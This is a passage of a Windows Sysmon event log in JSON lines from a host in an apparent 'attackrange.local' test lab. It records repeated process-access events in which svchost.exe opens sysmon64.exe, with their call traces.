C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1420,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1421,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1422,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1423,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1424,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1425,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1426,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1427,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 